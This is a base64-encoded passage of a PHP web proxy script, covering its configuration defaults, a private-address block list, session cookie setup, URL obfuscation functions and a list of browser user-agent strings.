bHVlIGZvciAiUmVtb3ZlIFJlZmVyZXIgRmllbGQiIGNoZWNrYm94IFtmYWxzZV0KZGVmaW5lKCdE RUZBVUxUX1JFTU9WRV9SRUZFUkVSJyxmYWxzZSk7CiMgRGVmYXVsdCB2YWx1ZSBmb3IgIlJlbW92 ZSBTY3JpcHRzIiBjaGVja2JveCBbZmFsc2VdCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfU0NSSVBU UycsZmFsc2UpOwojIERlZmF1bHQgdmFsdWUgZm9yICJSZW1vdmUgT2JqZWN0cyIgY2hlY2tib3gg W2ZhbHNlXQpkZWZpbmUoJ0RFRkFVTFRfUkVNT1ZFX09CSkVDVFMnLGZhbHNlKTsKIyBEZWZhdWx0 IHZhbHVlIGZvciAiRW5jcnlwdCBVUkxzIiBjaGVja2JveCBbZmFsc2VdCmRlZmluZSgnREVGQVVM VF9FTkNSWVBUX1VSTFMnLGZhbHNlKTsKIyBEZWZhdWx0IHZhbHVlIGZvciAiRW5jcnlwdCBDb29r aWVzIiBjaGVja2JveCBbZmFsc2VdCmRlZmluZSgnREVGQVVMVF9FTkNSWVBUX0NPT0tTJyxmYWxz ZSk7CgovKi8gQWRkcmVzcyBCbG9ja2luZyBOb3RlcyBcKlwKCkZvcm1hdHMgZm9yIGFkZHJlc3Mg YmxvY2tpbmcgYXJlIGFzIGZvbGxvd3M6CgogIDEuMi4zLjQgICAgIC0gcGxhaW4gSVAgYWRkcmVz cwogIDEuMC4wLjAvMTYgIC0gc3VibmV0IGJsb2NraW5nCiAgMS4wLzE2ICAgICAgLSBzdWJuZXQg YmxvY2tpbmcKICAxLzggICAgICAgICAtIHN1Ym5ldCBibG9ja2luZwogIHBocC5uZXQgICAgIC0g ZG9tYWluIGJsb2NraW5nCgpEZWZhdWx0IFZhbHVlOiAnMTAvOCcsJzE3Mi84JywnMTkyLjE2OC8x NicsJzEyNy84JywnMTY5LjI1NC8xNicKClwqXCBFbmQgQWRkcmVzcyBCbG9ja2luZyBOb3RlcyAv Ki8KCiRibG9ja2VkX2FkZHJlc3Nlcz1hcnJheSgnMTAvOCcsJzE3Mi84JywnMTkyLjE2OC8xNics JzEyNy84JywnMTY5LjI1NC8xNicpOwoKIyB9fX0KCiMgQURWQU5DRUQgQ09ORklHIHt7ewoKIyBU aGUgZm9sbG93aW5nIG9wdGlvbnMgYWx0ZXIgdGhlIHdheSBkb2N1bWVudHMgYXJlIHBhcnNlZCBv biB0aGUgcGFnZS4gIE9OTFkgRURJVCBUSElTIFNUVUZGIElGIFlPVSBSRUFMTFkgS05PVyBXSEFU IFlPVSBBUkUgRE9JTkchCgojIDUwMCBpcyB0aGUgbW9zdCByZWFzb25hYmxlIG51bWJlciBJIGNv dWxkIGNvbWUgdXAgd2l0aCBhcyBhIG1heGltdW0gVVJMIGxlbmd0aCBsaW1pdAojIEkgcmFuIGlu dG8gYSAxMjAwKyBjaGFyYWN0ZXIgbG9uZyBVUkwgb25jZSBhbmQgaXQgbmVhcmx5IG1lbHRlZCB0 aGUgcHJvY2Vzc29yIG9uIG15IGxhcHRvcCB0cnlpbmcgdG8gcGFyc2UgaXQKIyBIb25lc3RseSwg d2hvIG5lZWRzIHRoaXMgbG9uZyBvZiBhIFVSTCBhbnl3YXk/CmRlZmluZSgnTUFYSU1VTV9VUkxf TEVOR1RIJyw1MDApOwoKIyBUaW1lIGxpbWl0IGluIHNlY29uZHMgZm9yIGEgc2luZ2xlIHJlcXVl c3QgYW5kIHBhcnNlLiBbMTBdCmRlZmluZSgnVElNRV9MSU1JVCcsMTApOwojIFRpbWUgbGltaXQg aW4gbWludXRlcyBmb3IgYSBETlMgZW50cnkgdG8gYmUga2VwdCBpbiB0aGUgY2FjaGUuIFsxMF0K ZGVmaW5lKCdETlNfQ0FDSEVfRVhQSVJFJywxMCk7CgojIFVzZSBnemlwIChpZiBwb3NzaWJsZSkg dG8gY29tcHJlc3MgdGhlIGNvbm5lY3Rpb24gYmV0d2VlbiB0aGUgcHJveHkgYW5kIHRoZSB1c2Vy IChsZXNzIGJhbmR3aWR0aCwgbW9yZSBDUFUpIFtmYWxzZV0KZGVmaW5lKCdHWklQX1BST1hZX1VT RVInLGZhbHNlKTsKIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25u ZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgc2VydmVyIChsZXNzIGJhbmR3aWR0aCwg bW9yZSBDUFUpIFtmYWxzZV0KZGVmaW5lKCdHWklQX1BST1hZX1NFUlZFUicsZmFsc2UpOwoKIyBQ cm90b2NvbCB0aGF0IHByb3h5IGlzIHJ1bm5pbmcgb24uICBVbmNvbW1lbnQgdGhpcyBsaW5lIHRv IGRlZmluZSBpdCBtYW51YWxseS4KIyBJZiB5b3UgbGVhdmUgdGhpcyBsaW5lIGNvbW1lbnRlZCwg dGhlIGNvZGUgZGV0ZWN0cyBpZiB5b3UgYXJlIHJ1bm5pbmcgb24gYW4KIyBIVFRQUyBjb25uZWN0 aW9uLiAgSWYgeW91IGFyZSwgdGhlbiAnaHR0cHMnIGlzIHVzZWQgYXMgdGhlIFBST1RPIHZhbHVl LAojIG90aGVyd2lzZSAnaHR0cCcgaXMgdXNlZC4gIElmIHlvdSBuZWVkIGEgZGlmZmVyZW50IHZh bHVlIGhlcmUsIHRoZW4gZGVmaW5lIGl0LgojZGVmaW5lKCdQUk9UTycsJ2h0dHAnKTsKCiMgfX19 CgoKLy8gRE9OJ1QgRURJVCBBTllUSElORyBBRlRFUiBUSElTIFBPSU5UIFxcCgoKIwojICh1bmxl c3MgeW91IGFic29sdXRlbHkga25vdyB3aGF0IHlvdSBhcmUgZG9pbmcuLi4pCiMKCiMgQ09PS0lF ICYgU0VTU0lPTiBTRVRVUCB7e3sKCi8vJHRvdHN0YXJ0dGltZT1taWNyb3RpbWUodHJ1ZSk7ICMg QkVOQ0hNQVJLCi8vJGJsb2NrZWRfYWRkcmVzc2VzPWFycmF5KCk7ICMgREVCVUcKCiMgc2V0IGVy cm9yIGxldmVsIHRvIG5vdCBkaXNwbGF5IG5vdGljZXMKZXJyb3JfcmVwb3J0aW5nKEVfQUxMXkVf Tk9USUNFKTsKCiMgc2V0IHRpbWUgbGltaXQgdG8gdGhlIGRlZmluZWQgdGltZSBsaW1pdCwgaWYg bm90IGluIHNhZmUgbW9kZQppZighaW5pX2dldCgnc2FmZV9tb2RlJykpIHNldF90aW1lX2xpbWl0 KFRJTUVfTElNSVQpOwoKIyB1c2UgZ3ppcCBjb21wcmVzc2lvbiBpZiBhdmFpbGFibGUKaWYoR1pJ UF9QUk9YWV9VU0VSICYmIGV4dGVuc2lvbl9sb2FkZWQoJ3psaWInKSAmJiAhaW5pX2dldCgnemxp Yi5vdXRwdXRfY29tcHJlc3Npb24nKSkgb2Jfc3RhcnQoJ29iX2d6aGFuZGxlcicpOyAjIHVzZSBn emlwIGVuY29kaW5nIHRvIGNvbXByZXNzIGFsbCBkYXRhLCBpZiBwb3NzaWJsZQoKIyByZXZlcnNl IG1hZ2ljIHF1b3RlcyBpZiBlbmFibGVkCmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpewoJZnVu Y3Rpb24gc3RyaXBzbGFzaGVzX3JlY3Vyc2UoJHZhcil7CgkJaWYoaXNfYXJyYXkoJHZhcikpICR2 YXI9YXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfcmVjdXJzZScsJHZhcik7CgkJZWxzZSAkdmFyPXN0 cmlwc2xhc2hlcygkdmFyKTsKCQlyZXR1cm4gJHZhcjsKCX0KCSRfR0VUPXN0cmlwc2xhc2hlc19y ZWN1cnNlKCRfR0VUKTsKCSRfUE9TVD1zdHJpcHNsYXNoZXNfcmVjdXJzZSgkX1BPU1QpOwoJJF9D T09LSUU9c3RyaXBzbGFzaGVzX3JlY3Vyc2UoJF9DT09LSUUpOwp9CgojIHNjcmlwdCBlbnZpcm9u bWVudCBjb25zdGFudHMKaWYoIWRlZmluZWQoJ1BST1RPJykpIGRlZmluZSgnUFJPVE8nLCgkX1NF UlZFUlsnSFRUUFMnXT09J29uJz8naHR0cHMnOidodHRwJykpOwpkZWZpbmUoJ1ZFUlNJT04nLCcx LjAtcmMzJyk7CmRlZmluZSgnVEhJU19TQ1JJUFQnLFBST1RPLiI6Ly97JF9TRVJWRVJbJ0hUVFBf SE9TVCddfXskX1NFUlZFUlsnUEhQX1NFTEYnXX0iKTsKZGVmaW5lKCdTSU1QTEVfTU9ERScsREVG QVVMVF9TSU1QTEUgfHwgRk9SQ0VfU0lNUExFKTsKCiMgUmFuZG9taXplZCBjb29raWUgcHJlZml4 ZXMgIwpmdW5jdGlvbiBnZW5fcmFuZHN0cigkbGVuKXsKCSRjaGFycz1udWxsOwoJZm9yKCRpPTA7 JGk8JGxlbjskaSsrKXsKCQkkY2hhcj1yYW5kKDAsMjUpOwoJCSRjaGFyPWNocigkY2hhcis5Nyk7 CgkJJGNoYXJzLj0kY2hhcjsKCX0KCXJldHVybiAkY2hhcnM7Cn0KCmZ1bmN0aW9uIGRvc2V0Y29v a2llKCRjb29rbmFtZSwkY29va3ZhbCwkZXhwaXJlPW51bGwpewoJJF9DT09LSUVbJGNvb2tuYW1l XT0kY29va3ZhbDsKCWlmKCRleHBpcmU9PT1udWxsKSBzZXRjb29raWUoJGNvb2tuYW1lLCRjb29r dmFsKTsKCWVsc2Ugc2V0Y29va2llKCRjb29rbmFtZSwkY29va3ZhbCwkZXhwaXJlKTsKfQoKZGVm aW5lKCdGSVJTVF9MT0FEJyxlbXB0eSgkX0NPT0tJRVsnUEhQU0VTU0lEJ10pKTsKc2Vzc2lvbl9z dGFydCgpOwppZihlbXB0eSgkX1NFU1NJT05bJ3Nlc3NwcmVmJ10pKXsKCSRzZXNzcHJlZj1nZW5f cmFuZHN0cigzMCk7CgkkX1NFU1NJT05bJ3Nlc3NwcmVmJ109JHNlc3NwcmVmOwp9CmVsc2UgJHNl c3NwcmVmPSRfU0VTU0lPTlsnc2Vzc3ByZWYnXTsKCmlmKGVtcHR5KCRfQ09PS0lFWyd1c2VyJ10p KXsKCSRjb29rcHJlZj1nZW5fcmFuZHN0cigxMik7Cglkb3NldGNvb2tpZSgndXNlcicsJGNvb2tw cmVmKTsKfQplbHNlICRjb29rcHJlZj0kX0NPT0tJRVsndXNlciddOwoKZGVmaW5lKCdTRVNTX1BS RUYnLCRzZXNzcHJlZik7CmRlZmluZSgnQ09PS19QUkVGJywkY29va3ByZWYpOwpkZWZpbmUoJ0NP T0tJRV9TRVBBUkFUT1InLCdfXycuQ09PS19QUkVGLidfXycpOwp1bnNldCgkc2Vzc3ByZWYsJGNv b2twcmVmKTsKCmlmKEZJUlNUX0xPQUQpewoJaWYoREVGQVVMVF9VUkxfRk9STSkgZG9zZXRjb29r aWUoQ09PS19QUkVGLidfdXJsX2Zvcm0nLHRydWUpOwoJaWYoREVGQVVMVF9SRU1PVkVfQ09PS0lF UykgZG9zZXRjb29raWUoQ09PS19QUkVGLidfcmVtb3ZlX2Nvb2tpZXMnLHRydWUpOwoJaWYoREVG QVVMVF9SRU1PVkVfUkVGRVJFUikgZG9zZXRjb29raWUoQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVy ZXInLHRydWUpOwoJaWYoREVGQVVMVF9SRU1PVkVfU0NSSVBUUykgZG9zZXRjb29raWUoQ09PS19Q UkVGLidfcmVtb3ZlX3NjcmlwdHMnLHRydWUpOwoJaWYoREVGQVVMVF9SRU1PVkVfT0JKRUNUUykg ZG9zZXRjb29raWUoQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnLHRydWUpOwoJaWYoREVGQVVM VF9FTkNSWVBUX1VSTFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX2VuY3J5cHRfdXJscycsdHJ1 ZSk7CglpZihERUZBVUxUX0VOQ1JZUFRfQ09PS1MpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX2Vu Y3J5cHRfY29va3MnLHRydWUpOwp9CgojIH19fQoKIyBFTlZJUk9OTUVOVCBTRVRVUCB7e3sKCmds b2JhbCAkcG9zdGFuZGdldCwkYmxvY2tlZF9hZGRyZXNzZXMsJGRuc19jYWNoZV9hcnJheTsKJHBv c3RhbmRnZXQ9YXJyYXlfbWVyZ2UoJF9HRVQsJF9QT1NUKTsKCmRlZmluZSgnUEFHRVRZUEVfTUlO SVJFR0VYUCcsJyg9W19cLlwtXT9cJj18PSk/Jyk7CmRlZmluZSgnUEFHRVRZUEVfUkVHRVhQJywn L14nLlBBR0VUWVBFX01JTklSRUdFWFAuJyguKikkLycpOwppZighZW1wdHkoJHBvc3RhbmRnZXRb Q09PS19QUkVGXSkpICRvZW5jX3VybD0kcG9zdGFuZGdldFtDT09LX1BSRUZdOwplbHNlewoJJHBh Z2V0eXBlX3N0cj1wcmVnX3JlcGxhY2UoUEFHRVRZUEVfUkVHRVhQLCdcMScsJF9TRVJWRVJbJ1FV RVJZX1NUUklORyddKTsKCWRlZmluZSgnUVVFUllfU1RSSU5HJyxzdWJzdHIoJF9TRVJWRVJbJ1FV RVJZX1NUUklORyddLHN0cmxlbigkcGFnZXR5cGVfc3RyKSxzdHJsZW4oJF9TRVJWRVJbJ1FVRVJZ X1NUUklORyddKS1zdHJsZW4oJHBhZ2V0eXBlX3N0cikpKTsKCWRlZmluZSgnUEFHRVRZUEVfTlVM TCcsMCk7CglkZWZpbmUoJ1BBR0VUWVBFX0ZPUkNFX01BSU4nLDEpOwoJZGVmaW5lKCdQQUdFVFlQ RV9GUkFNRV9UT1AnLDIpOwoJZGVmaW5lKCdQQUdFVFlQRV9GUkFNRURfUEFHRScsMyk7CglkZWZp bmUoJ1BBR0VUWVBFX0ZSQU1FRF9DSElMRCcsNCk7ICMgZnJhbWluZyBjaGlsZHJlbiBmb3IgY3Jp bWVzIGlzbid0IHZlcnkgbmljZSwgYnV0IHRoZSBzY3JpcHQgZG9lcyBpdCBhbnl3YXkKCXN3aXRj aCgkcGFnZXR5cGVfc3RyKXsKCQljYXNlICc9Jj0nOiBkZWZpbmUoJ1BBR0VUWVBFX0lEJyxQQUdF VFlQRV9GUkFNRV9UT1ApOyBicmVhazsKCQljYXNlICc9XyY9JzogZGVmaW5lKCdQQUdFVFlQRV9J RCcsUEFHRVRZUEVfRlJBTUVEX1BBR0UpOyBicmVhazsKCQljYXNlICc9LSY9JzogZGVmaW5lKCdQ QUdFVFlQRV9JRCcsUEFHRVRZUEVfRk9SQ0VfTUFJTik7IGJyZWFrOwoJCWNhc2UgJz0uJj0nOiBk ZWZpbmUoJ1BBR0VUWVBFX0lEJyxQQUdFVFlQRV9GUkFNRURfQ0hJTEQpOyBicmVhazsKIyB0aGlz IGlzIG9uZSBtb3JlIHVuZW5jb2RlZCBzdHJpbmcgZm9yIGZ1dHVyZSBmZWF0dXJlcwojCQljYXNl ICc9KiY9JzogZGVmaW5lKCdQQUdFVFlQRV9JRCcsKTsgYnJlYWs7CgkJZGVmYXVsdDogZGVmaW5l KCdQQUdFVFlQRV9JRCcsUEFHRVRZUEVfTlVMTCk7IGJyZWFrOwoJfQoJdW5zZXQoJHBhZ2V0eXBl X3N0cik7CgoJZGVmaW5lKCdORVdfUEFHRVRZUEVfRlJBTUVfVE9QJywoUEFHRVRZUEVfSUQ9PT1Q QUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1F X1RPUCkpOwoJZGVmaW5lKCdORVdfUEFHRVRZUEVfRlJBTUVEX1BBR0UnLChQQUdFVFlQRV9JRD09 PVBBR0VUWVBFX0ZSQU1FRF9DSElMRD9QQUdFVFlQRV9GUkFNRURfQ0hJTEQ6UEFHRVRZUEVfRlJB TUVEX1BBR0UpKTsKCgkkb2VuY191cmw9UVVFUllfU1RSSU5HOwoJLy9kZWZpbmUoJ09FTkNfVVJM Jyx1cmxkZWNvZGUocHJlZ19yZXBsYWNlKCcvXihbXiZdKikuKj8kL2knLCdcMScsUVVFUllfU1RS SU5HKSkpOwp9CmlmKHN0cnBvcyhzdWJzdHIoJG9lbmNfdXJsLDAsNiksJyUnKSE9PWZhbHNlIHx8 IHN0cnBvcygkb2VuY191cmwsJyUnKTxzdHJwb3MoJG9lbmNfdXJsLCcvJykgfHwgc3RycG9zKCRv ZW5jX3VybCwnJScpPHN0cnBvcygkb2VuY191cmwsJzonKSkgJG9lbmNfdXJsPXVybGRlY29kZSgk b2VuY191cmwpOwpkZWZpbmUoJ09FTkNfVVJMJyxwcmVnX3JlcGxhY2UoJy9eKFteXD9cJl0rKVwm L2knLCdcMT8nLCRvZW5jX3VybCkpOwp1bnNldCgkb2VuY191cmwpOwpkZWZpbmUoJ09SSUdfVVJM Jyxwcm94ZGVjKE9FTkNfVVJMKSk7Cmdsb2JhbCAkY3Vycl91cmw7CiRjdXJyX3VybD1PUklHX1VS TDsKCmZ1bmN0aW9uIGdldGhhcmRhdHRyKCRhdHRyKXsKCWdsb2JhbCAkcG9zdGFuZGdldDsKCXJl dHVybiAoZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLidfc2V0X3ZhbHVlcyddKT8hZW1wdHko JF9DT09LSUVbQ09PS19QUkVGLiJfeyRhdHRyfSJdKTohZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19Q UkVGLiJfeyRhdHRyfSJdKSk7Cn0KZGVmaW5lKCdFTkNSWVBUX1VSTFMnLGdldGhhcmRhdHRyKCdl bmNyeXB0X3VybHMnKSk7CmRlZmluZSgnVVJMX0ZPUk0nLGdldGhhcmRhdHRyKCd1cmxfZm9ybScp KTsKZGVmaW5lKCdQQUdFX0ZSQU1FRCcsKFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX1BB R0UgfHwgUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQgfHwgUVVFUllfU1RSSU5H PT0nanNfcmVnZXhwc19mcmFtZWQnIHx8IFFVRVJZX1NUUklORz09J2pzX2Z1bmNzX2ZyYW1lZCcp KTsKI2RlZmluZSgnVVJMVkFSJywoRU5DUllQVF9VUkxTPydlJzpudWxsKS4ndXJsJyk7CgojIH19 fQoKIyBQSFAgREVDT0RJTkcgRlVOQ1RJT05TIHt7ewoKZnVuY3Rpb24gbXlfYmFzZTY0X2RlY29k ZSgkc3RyaW5nKXsgcmV0dXJuIGJhc2U2NF9kZWNvZGUoc3RyX3JlcGxhY2UoJyAnLCcrJyx1cmxk ZWNvZGUoJHN0cmluZykpKTsgfQoKZnVuY3Rpb24gcHJveGRlYygkdXJsKXsKCWlmKCR1cmx7MH0h PSd+JyAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkdXJsLDAsMykpIT0nJTdlJykgcmV0dXJuICR1cmw7 Cgkjd2hpbGUoc3RycG9zKCR1cmwsJyUnKSE9PWZhbHNlKSAkdXJsPXVybGRlY29kZSgkdXJsKTsK CSMkdXJsPXVybGRlY29kZSgkdXJsKTsKCXdoaWxlKCR1cmx7MH09PSd+JyB8fCBzdHJ0b2xvd2Vy KHN1YnN0cigkdXJsLDAsMykpPT0nJTdlJyl7CgkJJHVybD1zdWJzdHIoJHVybCwxKTsKCQkkdXJs PW15X2Jhc2U2NF9kZWNvZGUoJHVybCk7CgkJJG5ld191cmw9bnVsbDsKCQlmb3IoJGk9MDskaTxz dHJsZW4oJHVybCk7JGkrKyl7CgkJCSRjaGFyPW9yZCgkdXJseyRpfSk7CgkJCSRjaGFyLT1vcmQo c3Vic3RyKFNFU1NfUFJFRiwkaSVzdHJsZW4oU0VTU19QUkVGKSwxKSk7CgkJCXdoaWxlKCRjaGFy PDMyKSAkY2hhcis9OTQ7CgkJCSRuZXdfdXJsLj1jaHIoJGNoYXIpOwoJCX0KCQkkdXJsPSRuZXdf dXJsOwoJfQoJcmV0dXJuIHVybGRlY29kZSgkdXJsKTsKfQoKIyB9fX0KCiMgSkFWQVNDUklQVCBF TkNPRElORyBGVU5DVElPTlMge3t7CgpmdW5jdGlvbiBqc19wcm94ZW5jKCl7ID8+Ci8vPHNjcmlw dD4KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZT17CmV4cG9uOmZ1bmN0aW9uKGEsYil7Cgl2 YXIgbnVtOwoJaWYoYj09MCkgcmV0dXJuIDE7CgludW09YTsgYi0tOwoJd2hpbGUoYj4wKXsgbnVt Kj1hOyBiLS07IH0KCXJldHVybiBudW07Cn0sCgpkZWN0b2JpbjpmdW5jdGlvbigpewoJdmFyIGRl Yz1hcmd1bWVudHNbMF0sY2hhcnM9YXJndW1lbnRzWzFdfHw4LGJpbnJlcD0iIjsKCWZvcihqPWNo YXJzLTE7aj49MDtqLS0pewoJCWlmKGRlYz49dGhpcy5leHBvbigyLGopKXsKCQkJYmlucmVwKz0i MSI7IGRlYy09dGhpcy5leHBvbigyLGopOwoJCX0KCQllbHNlIGJpbnJlcCs9IjAiOwoJfQoJcmV0 dXJuIGJpbnJlcDsKfSwKCmJpbnRvZGVjOmZ1bmN0aW9uKCl7Cgl2YXIgYmluPWFyZ3VtZW50c1sw XSxjaGFycz1hcmd1bWVudHNbMV18fDgsZGVjPTA7Cglmb3IodmFyIGo9MDtqPGNoYXJzO2orKykg aWYoYmluLnN1YnN0cmluZyhqLGorMSk9PSIxIikgZGVjKz10aGlzLmV4cG9uKDIsY2hhcnMtMS1q KTsKCXJldHVybiBkZWM7Cn0sCgpiNjRlOmZ1bmN0aW9uKHN0cmluZyl7Cgl2YXIgZW5jc3RyPSIi LGJpbnJlcD0iIjsKCXZhciBjaGFyYmluLGNoYXJudW07Cglmb3IodmFyIGk9MDtpPHN0cmluZy5s ZW5ndGg7aSsrKXsKCQljaGFybnVtPXN0cmluZy5jaGFyQ29kZUF0KGkpOwoJCWJpbnJlcCs9dGhp cy5kZWN0b2JpbihjaGFybnVtKTsKCX0KCXdoaWxlKGJpbnJlcC5sZW5ndGglNikgYmlucmVwKz0i MDAiOwoJZm9yKHZhciBpPTE7aSo2PD1iaW5yZXAubGVuZ3RoO2krKyl7CgkJY2hhcmJpbj1iaW5y ZXAuc3Vic3RyaW5nKChpLTEpKjYsaSo2KTsKCQljaGFybnVtPXRoaXMuYmludG9kZWMoY2hhcmJp biw2KTsKCQlpZihjaGFybnVtPD0yNSkgY2hhcm51bSs9NjU7CgkJZWxzZSBpZihjaGFybnVtPD01 MSkgY2hhcm51bSs9NzE7CgkJZWxzZSBpZihjaGFybnVtPD02MSkgY2hhcm51bS09NDsKCQllbHNl IGlmKGNoYXJudW09PTYyKSBjaGFybnVtPTQzOwoJCWVsc2UgaWYoY2hhcm51bT09NjMpIGNoYXJu dW09NDc7CgkJZW5jc3RyKz1TdHJpbmcuZnJvbUNoYXJDb2RlKGNoYXJudW0pOwoJfQoJd2hpbGUo ZW5jc3RyLmxlbmd0aCU4KSBlbmNzdHIrPSI9IjsKCXJldHVybiBlbmNzdHI7Cn0sCgpwcm94ZW5j OmZ1bmN0aW9uKHVybCl7Cgl2YXIgbmV3X3VybD0iIjsKCXZhciBjaGFybnVtOwoJaWYodXJsLnN1 YnN0cmluZygwLDEpPT0ifiIgfHwgdXJsLnN1YnN0cmluZygwLDMpLnRvTG93ZXJDYXNlKCk9PSIl N2UiKSByZXR1cm4gdXJsOwoJdXJsPWVuY29kZVVSSUNvbXBvbmVudCh1cmwpOwoJdmFyIHNlc3Nf cHJlZj0iPD9waHAgZWNobyhTRVNTX1BSRUYpOyA/PiI7Cglmb3IoaT0wO2k8dXJsLmxlbmd0aDtp KyspewoJCWNoYXJudW09dXJsLmNoYXJDb2RlQXQoaSk7CgkJY2hhcm51bSs9c2Vzc19wcmVmLmNo YXJDb2RlQXQoaSVzZXNzX3ByZWYubGVuZ3RoKTsKCQl3aGlsZShjaGFybnVtPjEyNikgY2hhcm51 bS09OTQ7CgkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsKCX0KCXJldHVy biAifiIrZW5jb2RlVVJJQ29tcG9uZW50KHRoaXMuYjY0ZShuZXdfdXJsKSk7Cn0KfQo8PyB9Cgoj IH19fQoKIyBGSVJTVCBQQUdFIERJU1BMQVlFRCBXSEVOIEFDQ0VTU0lORyBQUk9YWSB7e3sKCmlm KFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRk9SQ0VfTUFJTiB8fCAoc3Vic3RyKFFVRVJZX1NUUklO RywwLDMpIT0nanNfJyAmJiBPUklHX1VSTD09bnVsbCkpewoKJHVzZXJhZ2VudGluZm89bnVsbDsK aWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ3dpbmRvd3MnKSE9PWZhbHNl IHx8IHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCd3aW4zMicpIT09ZmFsc2Up ICR1c2VyYWdlbnRpbmZvLj0nV2luZG93cyc7CmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQ X1VTRVJfQUdFTlQnXSwnbWFjaW50b3NoJykhPT1mYWxzZSB8fCBzdHJpc3RyKCRfU0VSVkVSWydI VFRQX1VTRVJfQUdFTlQnXSwnbWFjX3Bvd2VycGMnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49 J01hY2ludG9zaCc7CmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwn bGludXgnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J0xpbnV4JzsKZWxzZWlmKHN0cmlzdHIo JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdic2QnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5m by49J0JTRCc7CmVsc2UgJHVzZXJhZ2VudGluZm8uPSdVbmtub3duJzsKCiR1c2VyYWdlbnRpbmZv Lj0nIC8gJzsKCmlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdtc2llJykh PT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdJbnRlcm5ldCBFeHBsb3Jlcic7CmVsc2VpZihzdHJp c3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnZmlyZWZveCcpIT09ZmFsc2UpICR1c2Vy YWdlbnRpbmZvLj0nRmlyZWZveCc7CmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJf QUdFTlQnXSwnbmV0c2NhcGUnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J05ldHNjYXBlJzsK ZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdvcGVyYScpIT09ZmFs c2UpICR1c2VyYWdlbnRpbmZvLj0nT3BlcmEnOwplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRU UF9VU0VSX0FHRU5UJ10sJ2tvbnF1ZXJvcicpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvLj0nS29u cXVlcm9yJzsKZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdzZWFt b25rZXknKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J1NlYU1vbmtleSc7CmVsc2UgJHVzZXJh Z2VudGluZm8uPSdVbmtub3duJzsKCiR1c2VyYWdlbnRfYXJyYXk9YXJyYXkoCglhcnJheShudWxs LCJBY3R1YWwgKHskdXNlcmFnZW50aW5mb30pIiksCglhcnJheSgnLTEnLCcgWyBEb25cJ3QgU2Vu ZCBdICcpLAoJYXJyYXkoJ01vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsg ZW4tVVM7IHJ2OjEuOC4xKSBHZWNrby8yMDA2MTAyNCBGaXJlZm94LzIuMCcsJ1dpbmRvd3MgWFAg LyBGaXJlZm94IDIuMCcpLAoJYXJyYXkoJ01vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDcu MDsgV2luZG93cyBOVCA1LjE7IFNWMSknLCdXaW5kb3dzIFhQIC8gSW50ZXJuZXQgRXhwbG9yZXIg NycpLAoJYXJyYXkoJ01vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDYuMDsgV2luZG93cyBO VCA1LjE7IFNWMSknLCdXaW5kb3dzIFhQIC8gSW50ZXJuZXQgRXhwbG9yZXIgNicpLAoJYXJyYXko J09wZXJhLzkuMDIgKFdpbmRvd3MgTlQgNS4xOyBVOyBlbiknLCdXaW5kb3dzIFhQIC8gT3BlcmEg OS4wMicpLAoJYXJyYXkoJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IFBQQyBNYWMgT1MgWDsg ZW4tVVM7IHJ2OjEuOC4xKSBHZWNrby8yMDA2MTAyNCBGaXJlZm94LzIuMCcsJ01hYyBPUyBYIC8g RmlyZWZveCAyLjAnKSwKCWFycmF5KCdNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBVOyBQUEMgTWFj IE9TIFg7IGVuKSBBcHBsZVdlYktpdC81MjEuMjUgKEtIVE1MLCBsaWtlIEdlY2tvKSBTYWZhcmkv NTIxLjI0JywnTWFjIE9TIFggLyBTYWZhcmkgMy4wJyksCglhcnJheSgnT3BlcmEvOS4wMiAoTWFj aW50b3NoOyBQUEMgTWFjIE9TIFg7IFU7IGVuKScsJ01hYyBPUyBYIC8gT3BlcmEgOS4wMicpLAoJ 